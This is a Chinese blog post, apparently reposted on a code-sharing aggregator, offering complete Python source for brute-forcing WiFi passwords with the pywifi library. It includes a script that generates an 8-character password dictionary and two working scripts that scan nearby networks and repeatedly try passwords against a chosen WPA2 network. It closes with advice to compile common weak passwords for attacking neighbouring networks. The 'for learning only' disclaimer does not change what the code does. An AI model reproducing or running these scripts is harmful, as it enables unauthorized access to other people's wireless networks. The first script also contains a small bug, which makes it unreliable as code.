Python破解WIFI密码完整源代码,实测可成功破解
生活随笔
收集整理的這篇文章主要介紹了
Python破解WIFI密码完整源代码,实测可成功破解
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
目錄
# 修正記錄:2022-12-01
1,先安裝Python環境(這個不用多說了吧)
2,安裝PyWifi
3,自己手工整理高頻弱口令,不建議程序生成的字典,生成的字典成功率實在太低。
4,自己生成字典的算法:
5,破解WIF代碼第一種(2022-12-01):
6,破解WIF代碼第二種:
7,執行破解成功效果截圖(成功連接):
8,總結:
9,溫馨提示。
# 修正記錄:2022-12-01
? ?【破解WIF代碼第一種】修正一個小錯誤,表現為代碼執行多次后會報:ERROR Open handle failed!?錯誤。已修正。?并增加了嘗試次數記數及顯示。
效果如下圖:
1,先安裝Python環境(這個不用多說了吧)
2,安裝PyWifi
pip install pywifi3,自己手工整理高頻弱口令,不建議程序生成的字典,生成的字典成功率實在太低。
完全是在浪費時間和資源。實話實說
一般字典包括數字(0-9)、字母(a-z,區分大小寫)、特殊字符(!@#$%^&*()_+=-)常規WPA2 wifi密碼為最低8位,且僅包括數字和小寫字母, 所以我們可以從數字和字母組成的字符串中隨機挑選出8位(單個字符可重復出現), 作為wifi密碼組成字典存入txt文檔。4,自己生成字典的算法:
import itertools as its words = "1234567890abcdefghijklmnopqrstuvwxyz" #可選擇的字符 r =its.product(words,repeat=8) #組成8位字符串 dic = open("pwd.txt","a") #存儲為wifi密碼字典 #wifi密碼完成換行,并寫入txt文檔 for i in r:dic.write("".join(i))dic.write("".join("\n")) dic.close()5,破解WIF代碼第一種(2022-12-01修正):
import pywifi import time import datetime from pywifi import const# WiFi掃描模塊 def wifi_scan():# 初始化wifiwifi = pywifi.PyWiFi()# 使用第一個無線網卡interface = wifi.interfaces()[0]# 開始掃描interface.scan()for i in range(4):time.sleep(1)# print('\r掃描可用 WiFi 中,請稍后。。。(' + str(3 - i), end=')\n')print('\r掃描可用 WiFi 中,請稍后。。。(' + str(3 - i)+')')print('\r掃描完成!\n' + '-' * 38)print('\r{:4}{:6}{}'.format('編號', '信號強度', 'wifi名'))# 掃描結果,scan_results()返回一個集,存放的是每個wifi對象bss = interface.scan_results()# 存放wifi名的集合wifi_name_set = set()for w in bss:# 解決亂碼問題wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))wifi_name_set.add(wifi_name_and_signal)# 存入列表并按信號排序wifi_name_list = list(wifi_name_set)wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)num = 0# 格式化輸出while num < len(wifi_name_list):print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))num += 1print('-' * 38)# 返回wifi列表return wifi_name_list# WIFI破解模塊 def wifi_password_crack(wifi_name):# 字典路徑dic_path = input("請輸入本地用于WIFI暴力破解的密碼字典(txt格式,每個密碼占據1行)的路徑:")if dic_path =="": dic_path = "pwd.txt"# 打開文件# file = open(dic_path, "r")start = datetime.datetime.now()iCount = 0# 創建wifi對象wifi = pywifi.PyWiFi()# 創建網卡對象,為第一個wifi網卡interface = wifi.interfaces()[0]with open(dic_path, 'r') as f:# 遍歷密碼for pwd in f:# 去除密碼的末尾換行符pwd = pwd.strip('\n')# ERROR Open handle failed!將這創建對象過程移到上面,防止多次執行時報錯# 創建wifi對象# wifi = pywifi.PyWiFi()# 創建網卡對象,為第一個wifi網卡# interface = wifi.interfaces()[0]# 斷開所有wifi連接interface.disconnect()# 等待其斷開while interface.status() == 4:# 當其處于連接狀態時,利用循環等待其斷開pass# 創建連接文件(對象)profile = pywifi.Profile()# wifi名稱profile.ssid = wifi_name# 需要認證profile.auth = const.AUTH_ALG_OPEN# wifi默認加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)profile.cipher = const.CIPHER_TYPE_CCMP# wifi密碼profile.key = pwd# 刪除所有wifi連接文件interface.remove_all_network_profiles()# 設置新的wifi連接文件tmp_profile = interface.add_network_profile(profile)# 開始嘗試連接interface.connect(tmp_profile)#start_time = time.time()time.sleep(1.5)#while time.time() - start_time < 1.5:# 接口狀態為4代表連接成功(當嘗試時間大于1.5秒之后則為錯誤密碼,經測試測正確密碼一般都在1.5秒內連接,若要提高準確性可以設置為2s或以上,相應暴力破解速度就會變慢)if interface.status() == const.IFACE_CONNECTED:print(f'\r連接成功!密碼為:{pwd}')m, s = divmod((end - start).seconds, 60)h, m = divmod(m, 60)print(f"本次破解WIFI密碼共用時:{h}時{m}分{s}秒")exit(0)else:print(f'\r[{iCount}]正在利用密碼 {pwd} 嘗試...')end = datetime.datetime.now()iCount= iCount+1 # 主函數 def main():# 退出標致exit_flag = 0# 目標編號target_num = -1while not exit_flag:try:print('WIFI破解'.center(35, '-'))# 調用掃描模塊,返回一個排序后的wifi列表wifi_list = wifi_scan()# 讓用戶選擇要破解的wifi編號,并對用戶輸入的編號進行判斷和異常處理choose_exit_flag = 0while not choose_exit_flag:try:target_num = int(input('請選擇你要嘗試破解的wifi:'))# 如果要選擇的wifi編號在列表內,繼續二次判斷,否則重新輸入if target_num in range(len(wifi_list)):# 二次確認while not choose_exit_flag:try:choose = str(input(f'你選擇要破解的WiFi名稱是:{wifi_list[target_num][1]},確定嗎?(Y/N)'))# 對用戶輸入進行小寫處理,并判斷if choose.lower() == 'y':choose_exit_flag = 1elif choose.lower() == 'n':break# 處理用戶其它字母輸入else:print('只能輸入 Y/N')# 處理用戶非字母輸入except ValueError:print('只能輸入 Y/N')# 退出破解if choose_exit_flag == 1:breakelse:print('請重新輸入')except ValueError:print('只能輸入數字')# 密碼破解,傳入用戶選擇的wifi名稱wifi_password_crack(wifi_list[target_num][1])print('-' * 38)exit_flag = 1except Exception as e:print(e)raise eif __name__ == '__main__':main()6,破解WIF代碼第二種:
import pywifi from pywifi import const import time import datetime# 測試連接,返回鏈接結果 def wifiConnect(pwd):# 抓取網卡接口wifi = pywifi.PyWiFi()# 獲取第一個無線網卡ifaces = wifi.interfaces()[0]# 斷開所有連接ifaces.disconnect()time.sleep(1)wifistatus = ifaces.status()if wifistatus == const.IFACE_DISCONNECTED:# 創建WiFi連接文件profile = pywifi.Profile()# 要連接WiFi的名稱profile.ssid = "TP_LINK_44D0"# 網卡的開放狀態profile.auth = const.AUTH_ALG_OPEN# wifi加密算法,一般wifi加密算法為wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)# 加密單元profile.cipher = const.CIPHER_TYPE_CCMP# 調用密碼profile.key = pwd# 刪除所有連接過的wifi文件ifaces.remove_all_network_profiles()# 設定新的連接文件tep_profile = ifaces.add_network_profile(profile)ifaces.connect(tep_profile)# wifi連接時間time.sleep(2)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已有wifi連接")# 讀取密碼本 def readPassword():success = Falseprint("****************** WIFI破解 ******************")# 密碼本路徑path = "pwd.txt"# 打開文件file = open(path, "r")start = datetime.datetime.now()while True:try:pwd = file.readline()# 去除密碼的末尾換行符pwd = pwd.strip('\n')bool = wifiConnect(pwd)if bool:print("[*] 密碼已破解:", pwd)print("[*] WiFi已自動連接!!!")success = Truebreakelse:# 跳出當前循環,進行下一次循環print("正在破解 SSID 為 %s 的 WIFI密碼,當前校驗的密碼為:%s"%("TP_LINK_44D0",pwd))except:continueend = datetime.datetime.now()if(success):print("[*] 本次破解WIFI密碼一共用了多長時間:{}".format(end - start))else:print("[*] 很遺憾未能幫你破解出當前指定WIFI的密碼,請更換密碼字典后重新嘗試!")exit(0)if __name__=="__main__":readPassword()7,執行破解成功效果截圖(成功連接):
8,總結:
? ?實話告訴你,現在WPA2 WIF密碼破解成功的概率基本為0,不要妄想可以通過一段腳本就獨步天下。哈哈,那是不可能的。WPA2的加密方式決定了密碼是基本不可能被破解的。但是。不可能被破解,不代表不能被嘗試驗證。嘗試是需要代價的,一次密碼嘗試至少需要1.5秒時間。所以。如果想用跑字典方式來破解周邊WIFI。我認為只需要手工整理1000-10000個左右>=8的全網高頻弱口令密碼即可。跑起來也快。成不成就這幾下子。據有關組織統計。10000個高頻密碼基本可以涵蓋全網60%的密碼。真有這么高的概率。信不信由你。
9,溫馨提示。
代碼僅供學習用途。勿用于非法用途!?
總結
以上是生活随笔為你收集整理的Python破解WIFI密码完整源代码,实测可成功破解的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: docker安装minio无法访问
- 下一篇: python绘制太阳系模型_用pytho